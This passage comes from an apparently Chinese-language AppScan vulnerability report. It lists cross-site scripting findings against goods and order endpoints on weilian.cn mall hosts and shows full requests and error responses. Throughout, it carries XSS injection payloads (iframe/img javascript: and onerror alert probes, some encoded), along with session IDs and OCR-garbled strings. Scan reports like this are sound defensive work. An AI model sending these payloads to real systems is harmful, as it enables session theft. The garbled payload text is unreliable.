                                       55<iframe src=javascript:alert(8862)>",
                "goodsid": 105190,
                "departmentid": 1670,
                "status": 1
HTTP/1.1 500 Internal Server Error
```

```
Access-Control-Allow-Headers: x-requested-with, content-type, sessionid
Server: openresty
Access-Control-Allow-Methods: GET, POST, HEAD, PUT, DELETE, OPTIONS
Access-Control-Allow-Origin: *
Connection: keep-alive
Date: Fri, 12 Jan 2018 03:22:23 GMT
Content-Type: text/plain; charset=UTF-8
Transfer-Encoding: chunked

Can not construct instance of java.lang.Long from String value '55<iframe
src=javascript:alert(8862)>': not a valid Long value
at [Source: io.netty.buffer.ByteBufInputStream@2clee9ca; line: 1, column: 17] (through reference chain: com.suneee.scn.goods.model.dto.PubGoodsonoffDO["enterpriseid"])
```

变体-|2/8

差异: 参数 从以下位置进行控制: (55) 至: (55<iframe src=javascript:alert(8859)>

推理: 测试结果似乎指示存在脆弱性,因为 Appscan 在响应中成功嵌入了脚本,在用户浏览器中装入页面时将执行该脚本。

测试请求和响应:

```
POST /goodsonoffdetail/updateGoodsOnOff HTTP/1.1
Content-Length: 121
sessionId: c5b8689a1098705cd3ffdff0d57563a1
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/57.0.2987.133 Safari/537.36
Host: vr-goods-rest-enterprise.mall.xt.weilian.cn
Connection: keep-alive
Origin: http://system-rest-enterprise.mall.xt.weilian.cn
Referer: http://system-rest-enterprise.mall.xt.weilian.cn/static/index.html
Accept: application/json, text/javascript, */*; q=0.01
Content-Type: application/json; charset=UTF-8
Accept-Language: en-US, en; q=0.8
 "goodsonoff": [
                 "enterpriseid": "
                                         55<iframe src=javascript:alert(8859)>",
                 "departmentid": 1670,
                 "goodsid": 105190,
                 "status": 0
HTTP/1.1 500 Internal Server Error
Access-Control-Allow-Headers: x-requested-with, content-type, sessionid
Server: openresty
Access-Control-Allow-Methods: GET, POST, HEAD, PUT, DELETE, OPTIONS
Access-Control-Allow-Origin: *
Connection: keep-alive
Date: Fri, 12 Jan 2018 03:22:23 GMT
Content-Type: text/plain; charset=UTF-8
Transfer-Encoding: chunked
Can not construct instance of java.lang.Long from String value '55<mark><iframesrc=javascript:alert(8859)></mark>': not a valid Long value
at [Source: io.netty.buffer.ByteBufInputStream@50358966; line: 1, column: 17] (through reference
>com.suneee.scn.goods.model.dbo.PubGoodsonoffDO["enterpriseid"])
```

变体-|3/8

差异: 参数 从以下位置进行控制: (55) 至: (55

推理: 测试结果似乎指示存在脆弱性,因为 Appscan 在响应中成功嵌入了脚本,在用户浏览器中装入页面时将执行该脚本。

测试请求和响应:

```
POST /goodsonoffdetail/updateGoodsOnOff HTTP/1.1
Content-Length: 118
sessionId: c5b8689a1098705cd3ffdff0d57563a1
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/57.0.2987.133 Safari/537.36
Host: vr-goods-rest-enterprise.mall.xt.weilian.cn
Connection: keep-alive
Origin: http://system-rest-enterprise.mall.xt.weilian.cn
Referer: http://system-rest-enterprise.mall.xt.weilian.cn/static/index.html
Accept: application/json, text/javascript, */*; q=0.01
Content-Type: application/json; charset=UTF-8
Accept-Language: en-US, en; q=0.8
 "goodsonoff": [
                 "enterpriseid": "
                                        55<img src=javascript:alert(8883)>",
                 "goodsid": 105190,
                 "departmentid": 1670,
                 "status": 1
        1
}
HTTP/1.1 500 Internal Server Error
Access-Control-Allow-Headers: x-requested-with, content-type, sessionid
Server: openresty
Access-Control-Allow-Methods: GET, POST, HEAD, PUT, DELETE, OPTIONS
Access-Control-Allow-Origin: *
Connection: keep-alive
Date: Fri, 12 Jan 2018 03:22:23 GMT
Content-Type: text/plain; charset=UTF-8
Transfer-Encoding: chunked
Can not construct instance of java.lang.Long from String value '55<img
src=javascript:alert(8883)>': not a valid Long value
at [Source: io.netty.buffer.ByteBufInputStream@2a04f008; line: 1, column: 17] (through reference
chain: com.suneee.scn.goods.model.dto.PubGoodsonoff["goodsonoff"]-
>com.suneee.scn.goods.model.dbo.PubGoodsonoffDO["enterpriseid"])
```

变体-|4/8

差异: 参数 从以下位置进行控制: 55 至:

55<img\$20src\$3D\$26\$23x6a; \$26\$23x61; \$26\$23x76; \$26\$23x61; \$26\$23x73; \$26\$23x63; \$26\$23x72; \$26\$23x69; \$26\$23x70; \$26\$23x74; \$26\$23x3a; alert\$26\$23x28; 8887\$26\$23x29; >

推理: 测试结果似乎指示存在脆弱性,因为 Appscan 在响应中成功嵌入了脚本,在用户浏览器中装入页面时将执行该脚本。

测试请求和响应:

```
POST /goodsonoffdetail/updateGoodsOnOff HTTP/1.1
Content-Length: 183
sessionId: c5b8689a1098705cd3ffdff0d57563a1
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/57.0.2987.133 Safari/537.36
Host: vr-goods-rest-enterprise.mall.xt.weilian.cn
Connection: keep-alive
Origin: http://system-rest-enterprise.mall.xt.weilian.cn
```

```
Referer: http://system-rest-enterprise.mall.xt.weilian.cn/static/index.html
Accept: application/json, text/javascript, */*; q=0.01
Content-Type: application/json; charset=UTF-8
Accept-Language: en-US, en; q=0.8
 "goodsonoff": [
                "enterpriseid": "55<img
src=javvscript:alert(8887)>",
                "departmentid": 1670,
                "goodsid": 105190,
                "status": 0
       ]
}
HTTP/1.1 500 Internal Server Error
Access-Control-Allow-Headers: x-requested-with, content-type, sessionid
Server: openresty
Access-Control-Allow-Methods: GET, POST, HEAD, PUT, DELETE, OPTIONS
Access-Control-Allow-Origin: *
Connection: keep-alive
Date: Fri, 12 Jan 2018 03:22:23 GMT
Content-Type: text/plain; charset=UTF-8
Transfer-Encoding: chunked
Can not construct instance of java.lang.Long from String value '55<img
src=javascript:alert(8887)>':
not a valid Long value
at [Source: io.netty.buffer.ByteBufInputStream@2e2lba54; line: 1, column: 17] (through reference chain: com.suneee.scn.goods.model.dto.PubGoodsonoff["goodsonoff"]-
>com.suneee.scn.goods.model.dbo.PubGoodsonoffDO["enterpriseid"])
```

变体-|5/8

差异: 参数 从以下位置进行控制: 55 至:

55<img%20src%3D%26%23x6a;%26%23x61;%26%23x76;%26%23x61;%26%23x73;%26%23x63;%26%23x72;%26%23x69;%26%23x70;%26%23x74;%26%23x3a;alert%26%23x28;8888%26%23x29;>

推理: 测试结果似乎指示存在脆弱性,因为 Appscan 在响应中成功嵌入了脚本,在用户浏览器中装入页面时将执行该脚本。

测试请求和响应:

```
POST /goodsonoffdetail/updateGoodsOnOff HTTP/1.1
Content-Length: 183
sessionId: c5b8689a1098705cd3ffdff0d57563a1
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/57.0.2987.133 Safari/537.36
Host: vr-goods-rest-enterprise.mall.xt.weilian.cn
Connection: keep-alive
Origin: http://system-rest-enterprise.mall.xt.weilian.cn
Referer: http://system-rest-enterprise.mall.xt.weilian.cn/static/index.html
Accept: application/json, text/javascript, */*; q=0.01
Content-Type: application/json;charset=UTF-8
Accept-Language: en-US, en; q=0.8
 "goodsonoff": [
               "enterpriseid": "55<img
src=jvvsccript:alert(8888)>",
               "goodsid": 105190,
               "departmentid": 1670,
               "status": 1
       ]
```

```
HTTP/1.1 500 Internal Server Error
Access-Control-Allow-Headers: x-requested-with,content-type,sessionid
Server: openresty
Access-Control-Allow-Methods: GET,POST,HEAD,PUT,DELETE,OPTIONS
Access-Control-Allow-Origin: *
Connection: keep-alive
Date: Fri, 12 Jan 2018 03:22:23 GMT
Content-Type: text/plain; charset=UTF-8
Transfer-Encoding: chunked

Can not construct instance of java.lang.Long from String value '55<img
src=&#x6a;&#x61;&#x76;&#x61;&#x73;&#x63;&#x72;&#x69;&#x70;&#x74;&#x3a;alert&#x28;8888&#x29;>':
not a valid Long value
at [Source: io.netty.buffer.ByteBufInputStream@18c2a6d8; line: 1, column: 17] (through reference chain: com.suneee.scn.goods.model.dto.PubGoodsonoffDO["enterpriseid"])
```

变体-|6/8

差异: 参数 从以下位置进行控制: 55 至: 55

推理: 测试结果似乎指示存在脆弱性,因为 Appscan 在响应中成功嵌入了脚本,在用户浏览器中装入页面时将执行该脚本。

测试请求和响应:

```
POST /goodsonoffdetail/updateGoodsOnOff HTTP/1.1
Content-Length: 118
sessionId: c5b8689a1098705cd3ffdff0d57563a1
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/57.0.2987.133 Safari/537.36
Host: vr-goods-rest-enterprise.mall.xt.weilian.cn
Connection: keep-alive
Origin: http://system-rest-enterprise.mall.xt.weilian.cn
Referer: http://system-rest-enterprise.mall.xt.weilian.cn/static/index.html
Accept: application/json, text/javascript, */*; q=0.01
Content-Type: application/json; charset=UTF-8
Accept-Language: en-US, en; q=0.8
 "goodsonoff": [
                 "enterpriseid": "
                                          55<img src=javascript:alert(8884)>",
                 "departmentid": 1670,
                 "goodsid": 105190,
                 "status": 0
HTTP/1.1 500 Internal Server Error
{\tt Access-Control-Allow-Headers:} \  \, {\tt x-requested-with, content-type, sessionid}
Server: openresty
Access-Control-Allow-Methods: GET, POST, HEAD, PUT, DELETE, OPTIONS
Access-Control-Allow-Origin: *
Connection: keep-alive
Date: Fri, 12 Jan 2018 03:22:23 GMT
Content-Type: text/plain; charset=UTF-8
Transfer-Encoding: chunked
Can not construct instance of java.lang.Long from String value '55<img
    :javascript:alert(8884)>': not a valid Long value
at [Source: io.netty.buffer.ByteBufInputStream@39be72d9; line: 1, column: 17] (through reference
chain: com.suneee.scn.goods.model.dto.PubGoodsonoff["goodsonoff"]-
>com.suneee.scn.goods.model.dbo.PubGoodsonoffDO["enterpriseid"])
```

变体-|7/8

推理: 测试结果似乎指示存在脆弱性,因为 Appscan 在响应中成功嵌入了脚本,在用户浏览器中装入页面时将执行该脚本。

测试请求和响应:

```
POST /goodsonoffdetail/updateGoodsOnOff HTTP/1.1
Content-Length: 117
sessionId: c5b8689a1098705cd3ffdff0d57563a1
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/57.0.2987.133 Safari/537.36
Host: vr-goods-rest-enterprise.mall.xt.weilian.cn
Connection: keep-alive
Origin: http://system-rest-enterprise.mall.xt.weilian.cn
Referer: http://system-rest-enterprise.mall.xt.weilian.cn/static/index.html
Accept: application/json, text/javascript, */*; q=0.01
Content-Type: application/json;charset=UTF-8
Accept-Language: en-US, en; q=0.8
 "goodsonoff": [
                 "enterpriseid": "
                                         55<img src=x onerror=alert(8922)>",
                 "departmentid": 1670,
                 "goodsid": 105190,
                 "status": 0
        ]
HTTP/1.1 500 Internal Server Error
Access-Control-Allow-Headers: x-requested-with, content-type, sessionid
Server: openresty
Access-Control-Allow-Methods: GET, POST, HEAD, PUT, DELETE, OPTIONS
Access-Control-Allow-Origin: *
Connection: keep-alive
Date: Fri, 12 Jan 2018 03:22:24 GMT
Content-Type: text/plain; charset=UTF-8
Transfer-Encoding: chunked
Can not construct instance of java.lang.Long from String value '55<img src=x
onerror=alert(8922)>': not a valid Long value
at [Source: io.netty.buffer.ByteBufInputStream@715c4217; line: 1, column: 17] (through reference
chain: com.suneee.scn.goods.model.dto.PubGoodsonoff["goodsonoff"]-
>com.suneee.scn.goods.model.dbo.PubGoodsonoffDO["enterpriseid"])
```

变体-|8/8

推理: 测试结果似乎指示存在脆弱性,因为 Appscan 在响应中成功嵌入了脚本,在用户浏览器中装入页面时将执行该脚本。

测试请求和响应:

```
POST /goodsonoffdetail/updateGoodsOnOff HTTP/1.1
Content-Length: 117
sessionId: c5b8689a1098705cd3ffdff0d57563a1
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/57.0.2987.133 Safari/537.36
Host: vr-goods-rest-enterprise.mall.xt.weilian.cn
Connection: keep-alive
Origin: http://system-rest-enterprise.mall.xt.weilian.cn
Referer: http://system-rest-enterprise.mall.xt.weilian.cn/Static/index.html
```

```
Accept: application/json, text/javascript, */*; q=0.01
Content-Type: application/json; charset=UTF-8
Accept-Language: en-US, en; q=0.8
 "goodsonoff": [
                 "enterpriseid": "
                                       55<img src=x onerror=alert(8925)>",
                 "goodsid": 105190,
                 "departmentid": 1670,
                 "status": 1
        1
HTTP/1.1 500 Internal Server Error
Access-Control-Allow-Headers: x-requested-with, content-type, sessionid
Server: openresty
Access-Control-Allow-Methods: GET, POST, HEAD, PUT, DELETE, OPTIONS
Access-Control-Allow-Origin: *
Connection: keep-alive
Date: Fri, 12 Jan 2018 03:22:24 GMT
Content-Type: text/plain; charset=UTF-8
Transfer-Encoding: chunked
Can not construct instance of java.lang.Long from String value '55<img src=x
onerror=alert(8925)>': not a valid Long value
at [Source: io.netty.buffer.ByteBufInputStream@4172970c; line: 1, column: 17] (through reference
chain: com.suneee.scn.goods.model.dto.PubGoodsonoff["goodsonoff"]-
>com.suneee.scn.goods.model.dbo.PubGoodsonoffDO["enterpriseid"])
```

问题 17 / 21 Toc

跨站点脚本编制	
严重性:	高
CVSS 分数:	7.5
URL:	http://vr-goods-rest-enterprise.mall.xt.weilian.cn/goodsRestApi/updateGoodsStock
实体:	->"departmentid" (Parameter)
风险:	可能会窃取或操纵客户会话和 cookie,它们可能用于模仿合法用户,从而使黑客能够以该用户身份查看或变更用户记录以及执行事务
原因:	未对用户输入正确执行危险字符清理
固定值:	查看危险字符注入的可能解决方案

变体-|1/4

差异: 参数 从以下位置进行控制: (1670) 至: (1670<iframe src=javascript:alert(9007)>)

推理: 测试结果似乎指示存在脆弱性,因为 Appscan 在响应中成功嵌入了脚本,在用户浏览器中装入页面时将执行该脚本。

测试请求和响应:

```
POST /goodsRestApi/updateGoodsStock HTTP/1.1
Content-Length: 92
sessionId: c5b8689a1098705cd3ffdff0d57563a1
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko)
```

```
Chrome/57.0.2987.133 Safari/537.36
Host: vr-goods-rest-enterprise.mall.xt.weilian.cn
Connection: keep-alive
Origin: http://system-rest-enterprise.mall.xt.weilian.cn
Referer: http://system-rest-enterprise.mall.xt.weilian.cn/static/index.html
Accept: application/json, text/javascript, */*; q=0.01
Content-Type: application/json; charset=UTF-8
Accept-Language: en-US, en; q=0.8
 "goodsid": 105190,
 "stockqty": "+12",
 "departmentid": "
                         1670<iframe src=javascript:alert(9007)>"
HTTP/1.1 500 Internal Server Error
Access-Control-Allow-Headers: x-requested-with, content-type, sessionid
Server: openresty
Access-Control-Allow-Methods: GET, POST, HEAD, PUT, DELETE, OPTIONS
Access-Control-Allow-Origin:
Connection: keep-alive
Date: Fri, 12 Jan 2018 03:22:25 GMT
Content-Type: text/plain; charset=UTF-8
Transfer-Encoding: chunked
Can not construct instance of java.lang.Long from String value '1670<iframe
    javascript:alert(9007)>': not a valid Long value
at [Source: io.netty.buffer.ByteBufInputStream@4cac1b12; line: 1, column: 35] (through reference
chain: com.suneee.scn.goods.model.dbo.PubGoodsStock["departmentid"])
```

变体-|2/4

差异: 参数 从以下位置进行控制: 1670 至:

1670<img%20src%3D%26%23x6a;%26%23x61;%26%23x76;%26%23x61;%26%23x73;%26%23x73;%26%23x72;%26%23x69;%26%23x70;%26%23x74;%26%23x3a;alert%26%23x28;9029%26%23x29;>

推理: 测试结果似乎指示存在脆弱性,因为 Appscan 在响应中成功嵌入了脚本,在用户浏览器中装入页面时将执行该脚本。

测试请求和响应:

```
POST /goodsRestApi/updateGoodsStock HTTP/1.1
Content-Length: 154
sessionId: c5b8689a1098705cd3ffdff0d57563a1
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/57.0.2987.133 Safari/537.36
Host: vr-goods-rest-enterprise.mall.xt.weilian.cn
Connection: keep-alive
Origin: http://system-rest-enterprise.mall.xt.weilian.cn
Referer: http://system-rest-enterprise.mall.xt.weilian.cn/static/index.html
Accept: application/json, text/javascript, */*; q=0.01
Content-Type: application/json;charset=UTF-8
Accept-Language: en-US, en; q=0.8
 "goodsid": 105190,
 "stockqty": "+12"
 "departmentid": "1670<img
HTTP/1.1 500 Internal Server Error
Access-Control-Allow-Headers: x-requested-with, content-type, sessionid
Server: openresty
Access-Control-Allow-Methods: GET, POST, HEAD, PUT, DELETE, OPTIONS
Access-Control-Allow-Origin: *
Connection: keep-alive
Date: Fri, 12 Jan 2018 03:22:26 GMT
Content-Type: text/plain; charset=UTF-8
Transfer-Encoding: chunked
```

```
Can not construct instance of java.lang.Long from String value '1670 img

src=javascript:alert(9029)>':

not a valid Long value

at [Source: io.netty.buffer.ByteBufInputStream@f42177e; line: 1, column: 35] (through reference chain: com.suneee.scn.goods.model.dbo.PubGoodsStock["departmentid"])
```

变体-|3/4

差异: 参数 从以下位置进行控制: (1670)至: (1670

推理: 测试结果似乎指示存在脆弱性,因为 Appscan 在响应中成功嵌入了脚本,在用户浏览器中装入页面时将执行该脚本。

测试请求和响应:

```
POST /goodsRestApi/updateGoodsStock HTTP/1.1
Content-Length: 89
sessionId: c5b8689a1098705cd3ffdff0d57563a1
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/57.0.2987.133 Safari/537.36
Host: vr-goods-rest-enterprise.mall.xt.weilian.cn
Connection: keep-alive
Origin: http://system-rest-enterprise.mall.xt.weilian.cn
Referer: http://system-rest-enterprise.mall.xt.weilian.cn/static/index.html
Accept: application/json, text/javascript, */*; q=0.01
Content-Type: application/json; charset=UTF-8
Accept-Language: en-US, en; q=0.8
 "goodsid": 105190,
 "stockqty": "+12",
 "departmentid": "
                       1670<img src=javascript:alert(9032)>"
HTTP/1.1 500 Internal Server Error
Access-Control-Allow-Headers: x-requested-with, content-type, sessionid
Server: openresty
Access-Control-Allow-Methods: GET, POST, HEAD, PUT, DELETE, OPTIONS
Access-Control-Allow-Origin: *
Connection: keep-alive
Date: Fri, 12 Jan 2018 03:22:26 GMT
Content-Type: text/plain; charset=UTF-8
Transfer-Encoding: chunked
Can not construct instance of java.lang.Long from String value '1670 <img
src=javascript:alert(9032)>': not a valid Long value
at [Source: io.netty.buffer.ByteBufInputStream@74978e38; line: 1, column: 35] (through reference
chain: com.suneee.scn.goods.model.dbo.PubGoodsStock["departmentid"])
```

变体-|4/4

推理: 测试结果似乎指示存在脆弱性,因为 Appscan 在响应中成功嵌入了脚本,在用户浏览器中装入页面时将执行该脚本。

测试请求和响应:

```
POST /goodsRestApi/updateGoodsStock HTTP/1.1
Content-Length: 88
sessionId: c5b8689a1098705cd3ffdff0d57563a1
```

```
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/57.0.2987.133 Safari/537.36
Host: vr-goods-rest-enterprise.mall.xt.weilian.cn
Connection: keep-alive
Origin: http://system-rest-enterprise.mall.xt.weilian.cn
Referer: http://system-rest-enterprise.mall.xt.weilian.cn/static/index.html
Accept: application/json, text/javascript, */*; q=0.01
Content-Type: application/json;charset=UTF-8
Accept-Language: en-US, en; q=0.8
 "goodsid": 105190,
 "stockqty": "+12",
 "departmentid": "
                       1670<img src=x onerror=alert(9037)>"
HTTP/1.1 500 Internal Server Error
Access-Control-Allow-Headers: x-requested-with, content-type, sessionid
Server: openresty
Access-Control-Allow-Methods: GET, POST, HEAD, PUT, DELETE, OPTIONS
Access-Control-Allow-Origin: *
Connection: keep-alive
Date: Fri, 12 Jan 2018 03:22:26 GMT
Content-Type: text/plain; charset=UTF-8
Transfer-Encoding: chunked
Can not construct instance of java.lang.Long from String value '1670<img src=x
onerror=alert(9037)>': not a valid Long value
at [Source: io.netty.buffer.ByteBufInputStream@187f5118; line: 1, column: 35] (through reference
chain: com.suneee.scn.goods.model.dbo.PubGoodsStock["departmentid"])
```

问题 18 / 21 Toc

跨站点脚本编制	
严重性:	高
CVSS 分数:	7.5
URL:	http://vr-goods-rest-enterprise.mall.xt.weilian.cn/goodsonoffdetail/updateGoodsOnOff
实体:	->"goodsonoff"[0]->"goodsid" (Parameter)
	可能会窃取或操纵客户会话和 cookie,它们可能用于模仿合法用户,从而使黑客能够以该用户身份查看或变更用户记录以及执行事务
原因:	未对用户输入正确执行危险字符清理
固定值:	查看危险字符注入的可能解决方案

变体-|1/4

差异: 参数 从以下位置进行控制: [105190] 至: [105190<iframe src=javascript:alert(8908)>

推理: 测试结果似乎指示存在脆弱性,因为 Appscan 在响应中成功嵌入了脚本,在用户浏览器中装入页面时将执行该脚本。

测试请求和响应:

```
POST /goodsonoffdetail/updateGoodsOnOff HTTP/1.1
Content-Length: 121
sessionId: c5b8689a1098705cd3ffdff0d57563a1
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko)
```

```
Chrome/57.0.2987.133 Safari/537.36
Host: vr-goods-rest-enterprise.mall.xt.weilian.cn
Connection: keep-alive
Origin: http://system-rest-enterprise.mall.xt.weilian.cn
Referer: http://system-rest-enterprise.mall.xt.weilian.cn/static/index.html
Accept: application/json, text/javascript, */*; q=0.01 Content-Type: application/json; charset=UTF-8
Accept-Language: en-US, en; q=0.8
 "goodsonoff": [
                 "departmentid": 1670,
"status": 1
HTTP/1.1 500 Internal Server Error
Access-Control-Allow-Headers: x-requested-with, content-type, sessionid
Server: openresty
Access-Control-Allow-Methods: GET, POST, HEAD, PUT, DELETE, OPTIONS
Access-Control-Allow-Origin: *
Connection: keep-alive
Date: Fri, 12 Jan 2018 03:22:24 GMT
Content-Type: text/plain; charset=UTF-8
Transfer-Encoding: chunked
Can not construct instance of java.lang.Long from String value '105190<mark><iframe</mark>
src=javascript:alert(8908)>': not a valid Long value
at [Source: io.netty.buffer.ByteBufInputStream@6cd02cbd; line: 1, column: 34] (through reference
chain: com.suneee.scn.goods.model.dto.PubGoodsonoff["goodsonoff"]-
>com.suneee.scn.goods.model.dbo.PubGoodsonoffDO["goodsid"])
```

变体-|2/4

差异: 参数 从以下位置进行控制: 105190 至: 105190

推理: 测试结果似乎指示存在脆弱性,因为 Appscan 在响应中成功嵌入了脚本,在用户浏览器中装入页面时将执行该脚本。

测试请求和响应:

```
POST /goodsonoffdetail/updateGoodsOnOff HTTP/1.1
Content-Length: 118
sessionId: c5b8689a1098705cd3ffdff0d57563a1
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/57.0.2987.133 Safari/537.36
Host: vr-goods-rest-enterprise.mall.xt.weilian.cn
Connection: keep-alive
Origin: http://system-rest-enterprise.mall.xt.weilian.cn
Referer: http://system-rest-enterprise.mall.xt.weilian.cn/static/index.html
Accept: application/json, text/javascript, */*; q=0.01
Content-Type: application/json; charset=UTF-8
Accept-Language: en-US, en; q=0.8
 "goodsonoff": [
                 "enterpriseid": 55,
"goodsid": " 105190<img src=javascript:alert(8919)>",
                 "departmentid": 1670,
                 "status": 1
                }
HTTP/1.1 500 Internal Server Error
```

```
Access-Control-Allow-Headers: x-requested-with, content-type, sessionid
Server: openresty
Access-Control-Allow-Methods: GET, POST, HEAD, PUT, DELETE, OPTIONS
Access-Control-Allow-Origin: *
Connection: keep-alive
Date: Fri, 12 Jan 2018 03:22:24 GMT
Content-Type: text/plain; charset=UTF-8
Transfer-Encoding: chunked

Can not construct instance of java.lang.Long from String value '105190 img
src=javascript:alert(8919) ': not a valid Long value
at [Source: io.netty.buffer.ByteBufInputStream@5980b397; line: 1, column: 34] (through reference chain: com.suneee.scn.goods.model.dto.PubGoodsonoff["goodsonoff"]-
>com.suneee.scn.goods.model.dbo.PubGoodsonoffDO["goodsid"])
```

变体-|3/4

差异: 参数 从以下位置进行控制: 105190 至:

105190<img%20src%3D%26%23x6a;%26%23x61;%26%23x76;%26%23x76;%26%23x61;%26%23x73;%26%23x63;%26%23x72;%26%23x69;%26%23x74;%26%23x3a;alert%26%23x28;8960%26%23x29;>

推理: 测试结果似乎指示存在脆弱性,因为 Appscan 在响应中成功嵌入了脚本,在用户浏览器中装入页面时将执行该脚本。

测试请求和响应:

```
POST /goodsonoffdetail/updateGoodsOnOff HTTP/1.1
Content-Length: 183
sessionId: c5b8689a1098705cd3ffdff0d57563a1
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/57.0.2987.133 Safari/537.36
Host: vr-goods-rest-enterprise.mall.xt.weilian.cn
Connection: keep-alive
Origin: http://system-rest-enterprise.mall.xt.weilian.cn
Referer: http://system-rest-enterprise.mall.xt.weilian.cn/static/index.html
Accept: application/json, text/javascript, */*; q=0.01
Content-Type: application/json;charset=UTF-8
Accept-Language: en-US, en; q=0.8
 "goodsonoff": [
               "enterpriseid": 55,
               "goodsid": "105190<img
src=jvvascript:alert(8960)>",
               "departmentid": 1670,
               "status": 1
HTTP/1.1 500 Internal Server Error
Access-Control-Allow-Headers: x-requested-with, content-type, sessionid
Server: openresty
Access-Control-Allow-Methods: GET, POST, HEAD, PUT, DELETE, OPTIONS
Access-Control-Allow-Origin: *
Connection: keep-alive
Date: Fri, 12 Jan 2018 03:22:24 GMT
Content-Type: text/plain; charset=UTF-8
Transfer-Encoding: chunked
Can not construct instance of java.lang.Long from String value '105190<img
src=javaascript:alert(8960)>':
not a valid Long value
at [Source: io.netty.buffer.ByteBufInputStream@180fa350; line: 1, column: 34] (through reference
chain: com.suneee.scn.goods.model.dto.PubGoodsonoff["goodsonoff"]-
>com.suneee.scn.goods.model.dbo.PubGoodsonoffDO["goodsid"])
```

变体-|4/4

差异: 参数 从以下位置进行控制: (105190 至: 105190

推理: 测试结果似乎指示存在脆弱性,因为 Appscan 在响应中成功嵌入了脚本,在用户浏览器中装入页面时将执行该脚本。

测试请求和响应:

```
POST /goodsonoffdetail/updateGoodsOnOff HTTP/1.1
Content-Length: 117
sessionId: c5b8689a1098705cd3ffdff0d57563a1
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/57.0.2987.133 Safari/537.36
Host: vr-goods-rest-enterprise.mall.xt.weilian.cn
Connection: keep-alive
Origin: http://system-rest-enterprise.mall.xt.weilian.cn
Referer: http://system-rest-enterprise.mall.xt.weilian.cn/static/index.html
Accept: application/json, text/javascript, */*; q=0.01
Content-Type: application/json;charset=UTF-8
Accept-Language: en-US, en; q=0.8
 "goodsonoff": [
                 "enterpriseid": 55,
"goodsid": " 105190<img src=x onerror=alert(8977)>",
                 "departmentid": 1670,
                 "status": 1
        ]
HTTP/1.1 500 Internal Server Error
Access-Control-Allow-Headers: x-requested-with, content-type, sessionid
Server: openresty
Access-Control-Allow-Methods: GET, POST, HEAD, PUT, DELETE, OPTIONS
Access-Control-Allow-Origin: *
Connection: keep-alive
Date: Fri, 12 Jan 2018 03:22:25 GMT
Content-Type: text/plain; charset=UTF-8
Transfer-Encoding: chunked
Can not construct instance of java.lang.Long from String value '105190 <img src=x
onerror=alert(8977)>': not a valid Long value
at [Source: io.netty.buffer.ByteBufInputStream@11067211; line: 1, column: 34] (through reference
chain: com.suneee.scn.goods.model.dto.PubGoodsonoff["goodsonoff"]-
>com.suneee.scn.goods.model.dbo.PubGoodsonoffDO["goodsid"])
```

问题 19 / 21 Toc

跨站点脚本编制	
严重性:	高
CVSS 分数:	7.5
URL:	http://h5config-rest-enterprise.mall.xt.weilian.cn/order/selectCmsOrderList/2
实体:	pageSize (Parameter)
风险:	可能会窃取或操纵客户会话和 cookie,它们可能用于模仿合法用户,从而使黑客能够以该用户身份查看或变更用户记录以及执行事务
原因:	未对用户输入正确执行危险字符清理
固定值:	查看危险字符注入的可能解决方案

变体-|1/3

差异: 参数 从以下位置进行控制: 15 至:

15%3Ciframe+src%3Djavascript%3Aalert%289236%29%3E)

测试结果似乎指示存在脆弱性,因为 Appscan 在响应中成功嵌入了脚本,在用户浏览器中 推理:

装入页面时将执行该脚本。

测试请求和响应:

```
GET /order/selectCmsOrderList/2?
pageNum=1&pageSize=15\%3Ciframe+src\%3Djavascript\%3Aalert\%289236\%29\%3E\&orderNo=\&goodsname= \ \ HTTP/1.11
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/57.0.2987.133 Safari/537.36
Referer: http://h5confiq-rest-enterprise.mall.xt.weilian.cn/static/orderpage/saleOrderList.html?
sessionId=ff1d64918bd06bf341f084828da4d7d4
Connection: keep-alive
Host: h5config-rest-enterprise.mall.xt.weilian.cn
X-Requested-With: XMLHttpRequest
Accept: application/json, text/javascript, */*; q=0.01
Accept-Language: en-US, en; q=0.8
sessionId: c5b8689a1098705cd3ffdff0d57563a1
HTTP/1.1 500 Internal Server Error
{\tt Access-Control-Allow-Headers:} \  \, {\tt x-requested-with, content-type, sessionid}
Server: openresty
Access-Control-Allow-Methods: GET, POST, HEAD, PUT, DELETE, OPTIONS
Access-Control-Allow-Origin: *
Connection: keep-alive
Date: Fri, 12 Jan 2018 03:22:38 GMT
Content-Type: text/plain; charset=UTF-8
Transfer-Encoding: chunked
For input string: "15<iframe src=javascript:alert(9236)>"
```

变体-|2/3

差异: 参数 从以下位置进行控制: 15 至: 15%3Cimg+src%3Djavascript%3Aalert%289244%29%3E

推理: 测试结果似乎指示存在脆弱性,因为 Appscan 在响应中成功嵌入了脚本,在用户浏览器中

装入页面时将执行该脚本。

测试请求和响应:

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```
GET /order/selectCmsOrderList/2?
